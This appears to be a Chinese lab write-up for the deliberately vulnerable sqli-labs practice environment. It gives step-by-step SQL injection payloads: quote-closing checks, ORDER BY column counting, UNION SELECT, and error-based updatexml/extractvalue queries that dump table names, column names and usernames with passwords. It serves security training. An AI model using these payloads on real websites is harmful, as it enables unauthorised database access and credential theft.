1、这里简单放一个链接,记得连好数据库,配置好phpstudy环境
sqli-labs.zip - 蓝奏云文件大小:3.5 M|https://wwu.lanzoum.com/iP8Lx09p850dsqli-labssqli-labs.zip - 蓝奏云
2、这里一切ok后
3、浅试?id=1;不报错,有这个字段
4、双引号正常,单引号报错,说明单引号闭合成功,存在字符型注入漏洞
5、 order by 判断出字段数为3;--+将后面内容注释掉;“'”单引号将先前闭合掉;
?id=1' order by 3 --+
6、这里注意,插件会转义,所一这次在URL地址栏直接输入
7、使用联合查询,查数据库,让前面的id值为假,直接执行后面语句;发现回显在第二和第三位置
8、查询简单信息
version()查询数据库版本
database()查询当前数据库 security
user()查询当前用户名
9、利用报错查询查至数据;这里php连接数据库(mysql)时,由于使用了mysql_error 函数进行报错,所以可以利用;
10、利用 联合查询第三个字段查询到表名
?id=1111' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) -- +
11、后台未过滤或者使用了报错函数,这里就可以用来进行注入
extractvalue():利用报错进行注入,'~'不是xml实体,所以会报错
concat(字符串1,字符串2):用于连接两个字符串(可以称为拼接)
?id=1' and extractvalue(1,concat('~',database())) -- +
这里使用updatexml(,,)进行报错查询
updatexml('anything',concat('~',(sql语句)),'anything')
?id=1' and updatexml(1,concat('~',database()),1) -- +
12、查询表名
?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security' )),1) -- +
13、查询字段
?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) -- +
14、查询数据
?id=1' and updatexml(1,concat('~',(select group_concat(id,username,password) from users )),1) -- +
15、limit 分段显示会域group_concat一段显示冲突,这里注意
limit 0,1 -->从0个元素开始截取截取一个;只能查询一个元素
这里查询的是id;
?id=1' and updatexml(1,concat('~',(select id from users limit 1,1)),1) -- +